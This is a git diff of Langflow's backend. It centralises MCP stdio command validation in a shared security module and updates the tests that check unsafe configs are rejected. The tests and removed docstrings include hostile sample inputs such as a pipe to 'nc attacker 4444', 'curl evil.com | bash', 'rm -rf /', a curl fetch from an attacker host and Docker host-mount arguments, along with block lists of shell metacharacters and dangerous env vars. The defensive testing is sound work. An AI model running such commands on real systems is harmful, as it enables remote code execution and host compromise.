diff --git a/src/backend/base/langflow/api/v2/schemas.py b/src/backend/base/langflow/api/v2/schemas.py
index 04dbcd964e4f..b576f89a8d2c 100644
--- a/src/backend/base/langflow/api/v2/schemas.py
+++ b/src/backend/base/langflow/api/v2/schemas.py
@@ -1,63 +1,17 @@
 """Pydantic schemas for v2 API endpoints."""
 
-from pathlib import Path
-
-from lfx.base.mcp.util import DANGEROUS_MCP_ENV_VARS, is_dangerous_mcp_env_var
-from pydantic import BaseModel, ConfigDict, field_validator, model_validator
-
-from langflow.logging import logger
-
-# SECURITY: Allowlist of approved MCP stdio commands
-# Following Flowise best practice: https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L166
-# Note: Shell commands (cmd/sh/bash) are included for OS compatibility where starter projects
-# use wrapper patterns like "cmd /c uvx ..." (Windows) or "sh -c uvx ..." (Unix)
-ALLOWED_MCP_COMMANDS = frozenset(
-    {
-        "node",
-        "python",
-        "python3",
-        "npx",
-        "uvx",
-        "docker",
-        "cmd",  # Windows command processor (used in starter projects: cmd /c uvx ...)
-        "sh",  # Unix shell (used in starter projects: sh -c uvx ...)
-        "bash",  # Bash shell (alternative to sh on Unix/Linux)
-    }
-)
-
-# SECURITY: Shell metacharacters that enable command injection
-DANGEROUS_SHELL_CHARS = frozenset({";", "|", "&", "$", "`", "<", ">", "(", ")", "\n", "\r"})
-
-# SECURITY: Keywords that enable code execution or package installation
-DANGEROUS_KEYWORDS = frozenset(
-    {
-        "-c",
-        "-e",
-        "-y",
-        "--yes",
-        "pip",
-        "install",
-        "npm",
-        "yarn",
-        "pnpm",
-        "eval",
-        "exec",
-    }
+# Keep these names available from the historical module while sharing the actual policy with
+# standalone LFX and every execution-time gate.
+from lfx.base.mcp.security import (  # noqa: F401 - compatibility re-exports
+    ALLOWED_MCP_COMMANDS,
+    DANGEROUS_ENV_VARS,
+    DANGEROUS_KEYWORDS,
+    DANGEROUS_SHELL_CHARS,
+    SHELL_EXEC_FLAGS,
+    SHELL_WRAPPERS,
+    validate_mcp_stdio_config,
 )
-
-# SECURITY: Environment variables that enable code injection via approved commands.
-# Grouped by attack category. All comparisons are case-insensitive.
-DANGEROUS_ENV_VARS = DANGEROUS_MCP_ENV_VARS
-
-# SECURITY: Docker-specific arguments that break container isolation
-DOCKER_DANGEROUS_ARGS = frozenset({"--privileged", "--cap-add"})
-DOCKER_DANGEROUS_ARG_PREFIXES = ("--net=", "--network=", "--pid=", "--cap-add=", "--privileged=")
-
-# SECURITY: Shell wrapper commands that can execute other commands
-SHELL_WRAPPERS = frozenset({"cmd", "sh", "bash"})
-
-# SECURITY: Shell command flags that execute code
-SHELL_EXEC_FLAGS = frozenset({"-c", "/c"})
+from pydantic import BaseModel, ConfigDict, model_validator
 
 
 class MCPServerConfig(BaseModel):
@@ -71,229 +25,8 @@ class MCPServerConfig(BaseModel):
 
     model_config = ConfigDict(extra="allow")
 
-    @field_validator("command")
-    @classmethod
-    def validate_command(cls, v: str | None) -> str | None:
-        """Validate MCP command against allowlist to prevent command injection.
-
-        This prevents attackers from executing arbitrary commands via the MCP stdio interface.
-        Only approved MCP server executables are allowed.
-
-        Special handling: cmd/sh/bash are allowed ONLY as wrappers for other allowed commands
-        (e.g., "cmd /c uvx ..." is OK, but "cmd /c rm ..." is blocked by args validation).
-
-        Args:
-            v: The command string to validate
-
-        Returns:
-            The validated command string
-
-        Raises:
-            ValueError: If the command is not in the allowlist
-        """
-        if v is None:
-            return None
-
-        base_command = _extract_base_command(v)
-
-        if base_command not in ALLOWED_MCP_COMMANDS:
-            allowed_list = ", ".join(sorted(ALLOWED_MCP_COMMANDS))
-            msg = f"Command '{base_command}' is not allowed for security reasons. Allowed commands: {allowed_list}"
-            logger.warning("MCP command rejected: '{}' (full_path='{}')", base_command, v)
-            raise ValueError(msg)
-
-        return v
-
     @model_validator(mode="after")
-    def validate_shell_wrapper_args(self) -> "MCPServerConfig":
-        """Validate shell wrapper usage and -c/-/c flags.
-
-        This validator:
-        1. Ensures -c and /c flags are only used with shell wrappers (cmd/sh/bash)
-        2. Validates that shell wrappers only wrap allowed commands
-
-        This prevents attacks like:
-        - cmd /c rm -rf /
-        - sh -c "curl evil.com | bash"
-        - python -c "malicious code"  (blocked: -c not allowed for python)
-
-        While allowing legitimate patterns like:
-        - cmd /c uvx mcp-server
-        - sh -c "npx @modelcontextprotocol/server-filesystem"
-
-        Returns:
-            Self if validation passes
-
-        Raises:
-            ValueError: If validation fails
-        """
-        if not self.command or not self.args:
-            return self
-
-        base_command = _extract_base_command(self.command)
-        has_shell_exec_flag = any(arg in SHELL_EXEC_FLAGS for arg in self.args)
-
-        # Shell exec flags (-c, /c) are ONLY allowed with shell wrappers
-        if has_shell_exec_flag and base_command not in SHELL_WRAPPERS:
-            msg = f"Flag -c or /c is only allowed with shell wrappers (cmd/sh/bash), not with '{base_command}'"
-            logger.warning("MCP -c flag rejected for non-shell command: {}", base_command)
-            raise ValueError(msg)
-
-        # For shell wrappers, validate the wrapped command
-        if base_command in SHELL_WRAPPERS:
-            # Find the wrapped command after shell exec flag
-            wrapped_command = None
-            for i, arg in enumerate(self.args):
-                if arg in SHELL_EXEC_FLAGS and i + 1 < len(self.args):
-                    wrapped_command = self.args[i + 1]
-                    break
-
-            if wrapped_command:
-                wrapped_base = _extract_base_command(wrapped_command)
-                # Shell wrappers can only wrap other allowed commands (not other shells)
-                allowed_wrapped = ALLOWED_MCP_COMMANDS - SHELL_WRAPPERS
-
-                if wrapped_base not in allowed_wrapped:
-                    msg = (
-                        f"Shell wrapper '{base_command}' cannot execute '{wrapped_base}'. "
-                        f"Only these commands can be wrapped: {', '.join(sorted(allowed_wrapped))}"
-                    )
-                    logger.warning(
-                        "MCP shell wrapper rejected: {} {} -> wrapped command '{}' not allowed",
-                        base_command,
-                        self.args,
-                        wrapped_base,
-                    )
-                    raise ValueError(msg)
-
+    def _validate_stdio_security(self) -> "MCPServerConfig":
+        """Apply the shared MCP stdio policy to database/API configurations."""
+        validate_mcp_stdio_config(self.command, self.args, self.env)
         return self
-
-    @field_validator("args")
-    @classmethod
-    def validate_args(cls, v: list[str] | None) -> list[str] | None:
-        """Validate MCP command arguments to prevent shell injection and code execution.
-
-        Blocks shell metacharacters and dangerous flags that could be used for
-        command injection, code execution, or package installation attacks.
-
-        Note: -c and /c flags are validated in the model validator where we have
-        command context (they're allowed for shell wrappers but not other commands).
-
-        Args:
-            v: The list of arguments to validate
-
-        Returns:
-            The validated arguments list
-
-        Raises:
-            ValueError: If any argument contains dangerous patterns
-        """
-        if v is None:
-            return None
-
-        for arg in v:
-            for char in DANGEROUS_SHELL_CHARS:
-                if char in arg:
-                    msg = f"Argument contains dangerous shell metacharacter '{char}': {arg}"
-                    logger.warning("MCP argument rejected - shell metacharacter '{}' in arg", char)
-                    raise ValueError(msg)
-
-        # Check dangerous keywords, but skip shell exec flags (validated in model validator)
-        for arg in v:
-            arg_lower = arg.lower()
-            if arg_lower in DANGEROUS_KEYWORDS and arg_lower not in SHELL_EXEC_FLAGS:
-                msg = f"Argument '{arg}' is not allowed for security reasons"
-                logger.warning("MCP argument rejected - dangerous keyword: '{}'", arg)
-                raise ValueError(msg)
-
-        return v
-
-    @field_validator("env")
-    @classmethod
-    def validate_env(cls, v: dict[str, str] | None) -> dict[str, str] | None:
-        """Validate environment variables to prevent code injection via approved commands.
-
-        Blocks environment variables that can force approved commands (node, python, etc.)
-        to load and execute attacker-controlled code (e.g. LD_PRELOAD, NODE_OPTIONS, PATH).
-
-        Args:
-            v: The environment variable dict to validate
-
-        Returns:
-            The validated environment dict
-
-        Raises:
-            ValueError: If any env var name is in the blocklist
-        """
-        if v is None:
-            return None
-
-        for key in v:
-            if is_dangerous_mcp_env_var(key):
-                msg = f"Environment variable '{key}' is not allowed for security reasons"
-                logger.warning("MCP env var rejected: '{}'", key)
-                raise ValueError(msg)
-
-        return v
-
-    @model_validator(mode="after")
-    def validate_docker_args(self) -> "MCPServerConfig":
-        """Block Docker-specific arguments that break container isolation.
-
-        Only applies when the command resolves to ``docker``. Prevents
-        ``--privileged``, host-namespace sharing, and capability escalation.
-
-        Returns:
-            The validated config
-
-        Raises:
-            ValueError: If a dangerous Docker argument is detected
-        """
-        if not self.command or not self.args:
-            return self
-
-        base_command = _extract_base_command(self.command)
-        if base_command != "docker":
-            return self
-
-        for arg in self.args:
-            if arg in DOCKER_DANGEROUS_ARGS or arg.startswith(DOCKER_DANGEROUS_ARG_PREFIXES):
-                msg = f"Docker argument '{arg}' is not allowed for security reasons"
-                logger.warning("MCP Docker argument rejected: '{}'", arg)
-                raise ValueError(msg)
-
-        return self
-
-
-def _extract_base_command(command: str) -> str:
-    r"""Extract the base command name from a possibly fully-qualified path.
-
-    Handles Unix paths (``/usr/bin/node``), Windows paths
-    (``C:\\Program Files\\nodejs\\node.exe``), and bare names (``node``).
-
-    Also handles commands with arguments (e.g., "uvx mcp-server-fetch" or
-    "npx @scope/package") by extracting only the first token before any
-    whitespace, unless it's an actual file path.
-    """
-    # Check if this looks like an actual file path (not an npm scoped package)
-    # File paths either:
-    # - Start with / (Unix absolute)
-    # - Start with ./ or ../ (relative)
-    # - Contain \ (Windows)
-    # - Match drive letter pattern like C:\ (Windows absolute)
-    drive_letter_len = 3
-    is_file_path = (
-        command.startswith(("/", "./", "../"))
-        or "\\" in command
-        or (len(command) >= drive_letter_len and command[1:3] == ":\\")  # Windows drive letter
-    )
-
-    command_only = command.split()[0] if not is_file_path and command.strip() else command
-
-    normalized_path = command_only.replace("\\", "/")
-    base_command = Path(normalized_path).name
-
-    if base_command.lower().endswith(".exe"):
-        base_command = base_command[:-4]
-
-    return base_command
diff --git a/src/backend/tests/unit/api/v2/test_mcp_servers_file.py b/src/backend/tests/unit/api/v2/test_mcp_servers_file.py
index 91c4052a2fe8..7095e2a97eeb 100644
--- a/src/backend/tests/unit/api/v2/test_mcp_servers_file.py
+++ b/src/backend/tests/unit/api/v2/test_mcp_servers_file.py
@@ -202,6 +202,31 @@ async def test_mcp_servers_upload_rejects_disallowed_command(session, storage_se
     assert session._db == {}
 
 
+@pytest.mark.asyncio
+async def test_mcp_servers_upload_rejects_arguments_embedded_in_command(
+    session, storage_service, settings_service, current_user
+):
+    """An upload cannot hide interpreter options in the command field."""
+    mcp_file_ext = await get_mcp_file(current_user, extension=True)
+    malicious = b'{"mcpServers": {"evil": {"command": "node -e", "args": ["throw 1"]}}}'
+    file = UploadFile(filename=mcp_file_ext, file=io.BytesIO(malicious))
+    file.size = len(malicious)
+
+    with pytest.raises(HTTPException) as exc_info:
+        await upload_user_file(
+            file=file,
+            session=session,
+            current_user=current_user,
+            storage_service=storage_service,
+            settings_service=settings_service,
+        )
+
+    assert exc_info.value.status_code == 422
+    assert "single executable" in exc_info.value.detail
+    assert storage_service._store == {}
+    assert session._db == {}
+
+
 @pytest.mark.asyncio
 async def test_mcp_servers_upload_rejects_not_valid_json(session, storage_service, settings_service, current_user):
     """A non-JSON upload to the MCP config path is rejected with 422 (validator JSON branch)."""
diff --git a/src/backend/tests/unit/base/mcp/test_mcp_timeout_configuration.py b/src/backend/tests/unit/base/mcp/test_mcp_timeout_configuration.py
index 4e437459efb6..8b04420bcc8a 100644
--- a/src/backend/tests/unit/base/mcp/test_mcp_timeout_configuration.py
+++ b/src/backend/tests/unit/base/mcp/test_mcp_timeout_configuration.py
@@ -161,7 +161,7 @@ async def test_update_tools_passes_timeout_to_stdio_client(self):
         """Test that update_tools passes timeout when creating MCPStdioClient."""
         server_config = {
             "mode": "Stdio",
-            "command": "test-command",
+            "command": "python",
             "args": [],
         }
 
@@ -316,7 +316,7 @@ async def test_none_timeout_preserves_existing_client_timeout(self):
 
         server_config = {
             "mode": "Stdio",
-            "command": "test-command",
+            "command": "python",
             "args": [],
         }
 
diff --git a/src/backend/tests/unit/base/mcp/test_mcp_util.py b/src/backend/tests/unit/base/mcp/test_mcp_util.py
index 563a8ed0d517..8e14343a1a83 100644
--- a/src/backend/tests/unit/base/mcp/test_mcp_util.py
+++ b/src/backend/tests/unit/base/mcp/test_mcp_util.py
@@ -9,6 +9,7 @@
 import asyncio
 import os
 import re
+import shlex
 import shutil
 import sys
 from contextlib import suppress
@@ -123,26 +124,15 @@ async def test_trusted_path_and_debug_are_injected_benign_env_passes_through(sel
             "node server.js | nc attacker 4444",  # pipe to listener
         ],
     )
-    async def test_shell_metacharacter_payloads_become_literal_argv(self, payload):
-        """Shell metacharacters are inert: with no shell, they are just literal argv tokens.
-
-        Under the old ``bash -c "exec ..."`` wrapper these payloads would chain a
-        second command. With shell=False the launched binary is the real
-        executable and the metacharacters are passed to it verbatim -- there is no
-        shell to interpret ``;``, ``&&``, ``|``, ``$()`` or backticks.
-        """
-        client, _ = self._client_with_mocked_session()
+    async def test_shell_metacharacter_payloads_are_rejected_before_spawn(self, payload):
+        """The shared API/runtime policy rejects shell syntax even with shell-free launch."""
+        client, get_session = self._client_with_mocked_session()
 
-        await client._connect_to_server(payload)
+        with pytest.raises(ValueError, match="dangerous shell metacharacter"):
+            await client._connect_to_server(payload)
 
-        params = client._connection_params
-        # The real binary is launched, never a shell.
-        assert params.command == "node"
-        assert params.command not in _SHELL_INTERPRETERS
-        # The dangerous tokens survive only as literal arguments handed to node,
-        # so they cannot spawn `touch`, `rm`, `nc`, or a substitution subshell.
-        joined = " ".join(params.args)
-        assert any(marker in joined for marker in (";", "&&", "|", "$(", "`"))
+        get_session.assert_not_awaited()
+        assert client._connection_params is None
 
     async def test_bash_func_env_is_rejected_before_any_spawn(self):
         """BASH_FUNC_* (Shellshock-style) env is both inert under shell=False and rejected.
@@ -192,6 +182,79 @@ async def test_loader_and_interpreter_env_still_rejected(self, dangerous_env):
 
         get_session.assert_not_awaited()
 
+    @pytest.mark.parametrize(
+        "dangerous_env",
+        [
+            {"NPM_CONFIG_REGISTRY": "https://packages.example.invalid"},
+            {"UV_DEFAULT_INDEX": "https://packages.example.invalid/simple"},
+            {"UV_INDEX_URL": "https://packages.example.invalid/simple"},
+            {"PIP_INDEX_URL": "https://packages.example.invalid/simple"},
+        ],
+    )
+    async def test_package_source_env_is_rejected_before_any_spawn(self, dangerous_env):
+        client, get_session = self._client_with_mocked_session()
+
+        with pytest.raises(ValueError, match="not allowed"):
+            await client._connect_to_server("uvx mcp-server", env=dangerous_env)
+
+        get_session.assert_not_awaited()
+
+    @pytest.mark.parametrize(
+        "command",
+        [
+            "uvx --default-index https://packages.example.invalid/simple mcp-server",
+            "uvx --from git+https://code.example.invalid/server.git mcp-server",
+            "npx --registry=https://packages.example.invalid @example/mcp-server",
+            "docker run -v /:/host mcp-server",
+            "docker run --mount type=bind,source=/,target=/host mcp-server",
+            "docker run --volumes-from other mcp-server",
+            "docker run --device=/dev/example mcp-server",
+            "docker run --network host mcp-server",
+            "docker run --security-opt seccomp=unconfined mcp-server",
+            "sh -c 'uvx --default-index https://packages.example.invalid/simple mcp-server'",
+        ],
+    )
+    async def test_source_args_and_docker_host_access_are_rejected_before_any_spawn(self, command):
+        client, get_session = self._client_with_mocked_session()
+
+        with pytest.raises(ValueError, match="not allowed"):
+            await client._connect_to_server(command)
+
+        get_session.assert_not_awaited()
+
+    async def test_trusted_uvx_from_and_provider_token_are_preserved(self):
+        client, get_session = self._client_with_mocked_session()
+
+        await client._connect_to_server(
+            "uvx --from lfx lfx-mcp",
+            env={"GITHUB_PERSONAL_ACCESS_TOKEN": "provider-token"},  # pragma: allowlist secret
+        )
+
+        get_session.assert_awaited_once()
+        assert client._connection_params.command == "uvx"
+        assert client._connection_params.args == ["--from", "lfx", "lfx-mcp"]
+        assert client._connection_params.env["GITHUB_PERSONAL_ACCESS_TOKEN"] == "provider-token"  # noqa: S105
+
+    async def test_isolated_docker_args_are_preserved(self):
+        client, get_session = self._client_with_mocked_session()
+
+        await client._connect_to_server(
+            "docker run --rm -i --network bridge --security-opt no-new-privileges mcp-image"
+        )
+
+        get_session.assert_awaited_once()
+        assert client._connection_params.command == "docker"
+        assert client._connection_params.args == [
+            "run",
+            "--rm",
+            "-i",
+            "--network",
+            "bridge",
+            "--security-opt",
+            "no-new-privileges",
+            "mcp-image",
+        ]
+
     async def test_empty_command_is_rejected(self):
         """An empty/whitespace command string raises rather than spawning an empty argv."""
         client, get_session = self._client_with_mocked_session()
@@ -1014,43 +1077,49 @@ async def test_stdio_no_headers_leaves_args_unchanged(self):
         assert full_command == "uvx mcp-proxy --transport streamablehttp http://localhost/streamable"
 
     @pytest.mark.asyncio
-    async def test_stdio_multiword_command_with_empty_args(self):
-        """A multi-word command string (e.g. 'uvx mcp-server-fetch') with empty args should be split correctly.
-
-        Regression test: shlex.join(["uvx mcp-server-fetch"]) used to produce
-        a single-quoted token that bash treated as one binary name, causing
-        'exec: uvx mcp-server-fetch: not found'.
-        """
+    @pytest.mark.parametrize(
+        "command",
+        [
+            "uvx mcp-server-fetch",
+            "node -e",
+            "npx\t-y\t@modelcontextprotocol/server-fetch",
+            "/usr/bin/node --version",
+            "C:\\Program Files\\nodejs\\node.exe --version",
+        ],
+    )
+    async def test_stdio_rejects_arguments_embedded_in_command(self, command):
+        """Runtime-loaded configs enforce the same single-executable command boundary."""
         mock_stdio = AsyncMock(spec=MCPStdioClient)
         mock_stdio.connect_to_server.return_value = []
         mock_stdio._connected = True
 
         server_config = {
-            "command": "uvx mcp-server-fetch",
+            "command": command,
             "args": [],
         }
 
-        await update_tools("test-server", server_config, mcp_stdio_client=mock_stdio)
+        with pytest.raises(ValueError, match="single executable"):
+            await update_tools("test-server", server_config, mcp_stdio_client=mock_stdio)
 
-        full_command = mock_stdio.connect_to_server.call_args[0][0]
-        assert full_command == "uvx mcp-server-fetch"
+        mock_stdio.connect_to_server.assert_not_called()
 
     @pytest.mark.asyncio
-    async def test_stdio_multiword_command_with_args(self):
-        """A multi-word command string combined with additional args should produce correct tokens."""
+    async def test_stdio_preserves_executable_path_with_spaces(self):
+        """A platform path stays one argv entry while args remain separate."""
         mock_stdio = AsyncMock(spec=MCPStdioClient)
         mock_stdio.connect_to_server.return_value = []
         mock_stdio._connected = True
+        command = "C:\\Program Files\\nodejs\\node.exe"
 
         server_config = {
-            "command": "uvx mcp-server-fetch",
-            "args": ["--timeout", "30"],
+            "command": command,
+            "args": ["server.js", "--timeout", "30"],
         }
 
         await update_tools("test-server", server_config, mcp_stdio_client=mock_stdio)
 
         full_command = mock_stdio.connect_to_server.call_args[0][0]
-        assert full_command == "uvx mcp-server-fetch --timeout 30"
+        assert shlex.split(full_command) == [command, "server.js", "--timeout", "30"]
 
     @pytest.mark.asyncio
     async def test_stdio_headers_appended_when_all_args_are_flags(self):
@@ -1060,7 +1129,7 @@ async def test_stdio_headers_appended_when_all_args_are_flags(self):
         mock_stdio._connected = True
 
         server_config = {
-            "command": "some-tool",
+            "command": "uvx",
             "args": ["--verbose", "--debug"],
             "headers": {"Authorization": "Bearer tok"},
         }
@@ -1068,7 +1137,7 @@ async def test_stdio_headers_appended_when_all_args_are_flags(self):
         await update_tools("test-server", server_config, mcp_stdio_client=mock_stdio)
 
         full_command = mock_stdio.connect_to_server.call_args[0][0]
-        assert full_command == "some-tool --verbose --debug --headers authorization 'Bearer tok'"
+        assert full_command == "uvx --verbose --debug --headers authorization 'Bearer tok'"
 
     @pytest.mark.asyncio
     async def test_stdio_headers_appended_when_last_token_is_flag_value(self):
@@ -1078,7 +1147,7 @@ async def test_stdio_headers_appended_when_last_token_is_flag_value(self):
         mock_stdio._connected = True
 
         server_config = {
-            "command": "some-tool",
+            "command": "uvx",
             "args": ["--port", "8080"],
             "headers": {"Authorization": "Bearer tok"},
         }
@@ -1087,7 +1156,7 @@ async def test_stdio_headers_appended_when_last_token_is_flag_value(self):
 
         full_command = mock_stdio.connect_to_server.call_args[0][0]
         # 8080 is a value for --port, not a positional arg, so headers go at the end
-        assert full_command == "some-tool --port 8080 --headers authorization 'Bearer tok'"
+        assert full_command == "uvx --port 8080 --headers authorization 'Bearer tok'"
 
     @pytest.mark.asyncio
     async def test_stdio_headers_inserted_before_positional_with_flag_value_pairs(self):
@@ -1194,7 +1263,7 @@ def selective_converter(schema):
         ):
             mode, tool_list, tool_cache = await update_tools(
                 server_name="linear-like",
-                server_config={"command": "fake-cmd", "args": []},
+                server_config={"command": "uvx", "args": []},
                 mcp_stdio_client=mock_stdio,
             )
 
@@ -1244,7 +1313,7 @@ def selective_converter(schema):
         with patch("lfx.base.mcp.util.create_input_schema_from_json_schema", side_effect=selective_converter):
             _, tool_list, tool_cache = await update_tools(
                 server_name="stress",
-                server_config={"command": "fake-cmd", "args": []},
+                server_config={"command": "uvx", "args": []},
                 mcp_stdio_client=mock_stdio,
             )
 
@@ -2047,7 +2116,7 @@ def test_nested_object_with_none_or_empty_does_not_crash(self):
     async def test_validate_connection_params(self):
         """Test connection parameter validation."""
         # Valid parameters
-        await util._validate_connection_params("Stdio", command="echo test")
+        await util._validate_connection_params("Stdio", command="echo")
         await util._validate_connection_params("SSE", url="http://test")
 
         # Invalid parameters
@@ -3769,7 +3838,7 @@ async def _build_tool_via_update_tools(self, raw_result):
         mock_client.run_tool = AsyncMock(return_value=raw_result)
         mock_client._connected = True
 
-        server_config = {"command": "fake-server"}
+        server_config = {"command": "uvx"}
         _, tools, _ = await update_tools("test-server", server_config, mcp_stdio_client=mock_client)
         assert tools, "update_tools() must return at least one tool"
         return tools[0]
diff --git a/src/backend/tests/unit/components/models_and_agents/test_mcp_component.py b/src/backend/tests/unit/components/models_and_agents/test_mcp_component.py
index 61a2aa3d728d..89c1b4d7a995 100644
--- a/src/backend/tests/unit/components/models_and_agents/test_mcp_component.py
+++ b/src/backend/tests/unit/components/models_and_agents/test_mcp_component.py
@@ -31,7 +31,10 @@ def default_kwargs(self):
             "command": "npx -y @modelcontextprotocol/server-everything",
             "sse_url": "https://mcp.deepwiki.com/sse",
             "tool": "echo",
-            "mcp_server": {"name": "test_server", "config": {"command": "uvx mcp-server-fetch"}},
+            "mcp_server": {
+                "name": "test_server",
+                "config": {"command": "uvx", "args": ["mcp-server-fetch"]},
+            },
         }
 
     @pytest.fixture
@@ -602,8 +605,8 @@ async def test_database_config_takes_priority_over_value(self, component):
         """Test that database config takes priority over config from mcp_server value."""
         # Set up component with a server config in the value
         value_config = {
-            "command": "uvx mcp-server-from-value",
-            "args": ["--test"],
+            "command": "curl",
+            "args": ["https://attacker.invalid/payload"],
             "env": {"TEST": "value"},
         }
         component.mcp_server = {"name": "test_server", "config": value_config}
@@ -611,8 +614,8 @@ async def test_database_config_takes_priority_over_value(self, component):
 
         # Mock the database get_server to return a different config
         db_config = {
-            "command": "uvx mcp-server-from-database",
-            "args": ["--prod"],
+            "command": "uvx",
+            "args": ["mcp-server-from-database", "--prod"],
             "env": {"TEST": "database"},
         }
 
@@ -631,9 +634,9 @@ async def test_database_config_takes_priority_over_value(self, component):
 
             # Verify that connect_to_server was called
             mock_connect.assert_called_once()
-            call_args = mock_connect.call_args
-            # The config passed should be from database, not value
-            assert call_args is not None
+            full_command = mock_connect.call_args.args[0]
+            # The validated database config must win over the unsafe embedded fallback.
+            assert full_command == "uvx mcp-server-from-database --prod"
 
             # Database should be queried first
             mock_get_server.assert_called_once()
@@ -647,8 +650,8 @@ async def test_database_config_used_when_no_value_config(self, component):
 
         # Mock the database get_server to return a config
         db_config = {
-            "command": "uvx mcp-server-from-database",
-            "args": ["--prod"],
+            "command": "uvx",
+            "args": ["mcp-server-from-database", "--prod"],
             "env": {"TEST": "database"},
         }
 
@@ -676,8 +679,8 @@ async def test_value_config_used_as_fallback_when_not_in_database(self, componen
         """Test that value config is used as fallback when server not in database."""
         # Set up component with server name and config in value
         value_config = {
-            "command": "uvx mcp-server-from-value",
-            "args": ["--test"],
+            "command": "uvx",
+            "args": ["mcp-server-from-value", "--test"],
         }
         component.mcp_server = {"name": "new_server", "config": value_config}
         component._user_id = "test_user_123"
@@ -702,13 +705,36 @@ async def test_value_config_used_as_fallback_when_not_in_database(self, componen
             # Connect should be called with value config as fallback
             mock_connect.assert_called_once()
 
+    @pytest.mark.asyncio
+    async def test_unsafe_value_config_is_rejected_when_not_in_database(self, component):
+        """An embedded fallback must be rejected before the stdio client is used."""
+        component.mcp_server = {
+            "name": "unsafe_server",
+            "config": {"command": "curl", "args": ["https://attacker.invalid/payload"]},
+        }
+        component._user_id = "test_user_123"
+
+        with (
+            patch("langflow.api.v2.mcp.get_server") as mock_get_server,
+            patch("langflow.services.database.models.user.crud.get_user_by_id") as mock_get_user,
+            patch("lfx.components.models_and_agents.mcp_component.session_scope"),
+            patch.object(component.stdio_client, "connect_to_server") as mock_connect,
+        ):
+            mock_get_user.return_value = MagicMock(id="test_user_123")
+            mock_get_server.return_value = None
+
+            with pytest.raises(ValueError, match="Command 'curl' is not allowed"):
+                await component.update_tool_list()
+
+            mock_connect.assert_not_called()
+
     @pytest.mark.asyncio
     async def test_rest_api_new_server_scenario(self, component):
         """Test REST API scenario where tweaks provide config for a new server not in database."""
         # Simulate REST API call with tweaks providing full config for a new server
         api_provided_config = {
-            "command": "uvx mcp-server-api-new",
-            "args": ["--api-mode"],
+            "command": "uvx",
+            "args": ["mcp-server-api-new", "--api-mode"],
             "env": {"API_KEY": "secret123"},  # pragma: allowlist secret
         }
         component.mcp_server = {"name": "new_api_server", "config": api_provided_config}
@@ -754,8 +780,8 @@ async def test_update_tool_list_falls_back_to_value_config_when_langflow_absent(
         import builtins
 
         value_config = {
-            "command": "uvx mcp-server-from-value",
-            "args": ["--standalone"],
+            "command": "uvx",
+            "args": ["mcp-server-from-value", "--standalone"],
         }
         component.mcp_server = {"name": "standalone_server", "config": value_config}
         component._user_id = "test_user_123"
@@ -781,12 +807,12 @@ def fake_import(name, import_globals=None, import_locals=None, fromlist=(), leve
             mock_update_tools.assert_called_once()
             call_kwargs = mock_update_tools.call_args.kwargs
             assert call_kwargs["server_name"] == "standalone_server"
-            assert call_kwargs["server_config"]["command"] == "uvx mcp-server-from-value"
-            assert call_kwargs["server_config"]["args"] == ["--standalone"]
+            assert call_kwargs["server_config"]["command"] == "uvx"
+            assert call_kwargs["server_config"]["args"] == ["mcp-server-from-value", "--standalone"]
 
             # server_info should echo the resolved value config
             assert server_info["name"] == "standalone_server"
-            assert server_info["config"]["command"] == "uvx mcp-server-from-value"
+            assert server_info["config"]["command"] == "uvx"
 
     @pytest.mark.asyncio
     async def test_update_tool_list_surfaces_transitive_import_error_instead_of_falling_back(self, component):
@@ -802,7 +828,7 @@ async def test_update_tool_list_surfaces_transitive_import_error_instead_of_fall
 
         component.mcp_server = {
             "name": "broken_server",
-            "config": {"command": "uvx mcp-server-from-value"},
+            "config": {"command": "uvx", "args": ["mcp-server-from-value"]},
         }
         component._user_id = "test_user_123"
 
@@ -848,7 +874,7 @@ async def test_update_tool_list_surfaces_plain_import_error_instead_of_falling_b
 
         component.mcp_server = {
             "name": "broken_server",
-            "config": {"command": "uvx mcp-server-from-value"},
+            "config": {"command": "uvx", "args": ["mcp-server-from-value"]},
         }
         component._user_id = "test_user_123"
 
@@ -894,7 +920,7 @@ async def test_update_tool_list_surfaces_lfx_services_deps_missing(self, compone
 
         component.mcp_server = {
             "name": "broken_server",
-            "config": {"command": "uvx mcp-server-from-value"},
+            "config": {"command": "uvx", "args": ["mcp-server-from-value"]},
         }
         component._user_id = "test_user_123"
 
@@ -931,8 +957,8 @@ def test_resolve_config_db_takes_priority():
     """Test that database config takes priority over value config."""
     from lfx.components.models_and_agents.mcp_component import resolve_mcp_config
 
-    db_config = {"command": "uvx from-db", "args": ["--prod"]}
-    value_config = {"command": "uvx from-value", "args": ["--test"]}
+    db_config = {"command": "uvx", "args": ["from-db", "--prod"]}
+    value_config = {"command": "uvx", "args": ["from-value", "--test"]}
 
     result = resolve_mcp_config("test_server", value_config, db_config)
 
@@ -943,7 +969,7 @@ def test_resolve_config_falls_back_to_value():
     """Test that value config is used when DB returns None."""
     from lfx.components.models_and_agents.mcp_component import resolve_mcp_config
 
-    value_config = {"command": "uvx from-value", "args": ["--test"]}
+    value_config = {"command": "uvx", "args": ["from-value", "--test"]}
 
     result = resolve_mcp_config("test_server", value_config, None)
 
@@ -969,8 +995,8 @@ def mock_db_session_with_servers():
     class MockSession:
         def __init__(self):
             self.servers = {
-                "test_server": {"command": "uvx test", "args": []},
-                "prod_server": {"command": "uvx prod", "args": ["--prod"]},
+                "test_server": {"command": "uvx", "args": ["test"]},
+                "prod_server": {"command": "uvx", "args": ["prod", "--prod"]},
             }
 
         async def __aenter__(self):
@@ -1005,9 +1031,10 @@ async def test_config_priority_with_fixtures(mock_db_session_with_servers):
         patch.object(component.stdio_client, "connect_to_server", return_value=[]),
     ):
         mock_get_user.return_value = MagicMock(id="test_user")
-        mock_get_server.return_value = {"command": "uvx test", "args": []}
+        mock_get_server.return_value = {"command": "uvx", "args": ["test"]}
 
         _tools, server_info = await component.update_tool_list()
 
     # Verify behavior without needing to assert on mocks
-    assert server_info["config"]["command"] == "uvx test"  # From DB
+    assert server_info["config"]["command"] == "uvx"  # From DB
+    assert server_info["config"]["args"] == ["test"]
diff --git a/src/backend/tests/unit/components/models_and_agents/test_mcp_component_cache.py b/src/backend/tests/unit/components/models_and_agents/test_mcp_component_cache.py
index a5e27a1ff2c1..8b617bd430fb 100644
--- a/src/backend/tests/unit/components/models_and_agents/test_mcp_component_cache.py
+++ b/src/backend/tests/unit/components/models_and_agents/test_mcp_component_cache.py
@@ -32,7 +32,10 @@ def file_names_mapping(self):
     def default_kwargs(self):
         """Return the default kwargs for the component."""
         return {
-            "mcp_server": {"name": "test_server", "config": {"command": "uvx test-mcp-server"}},
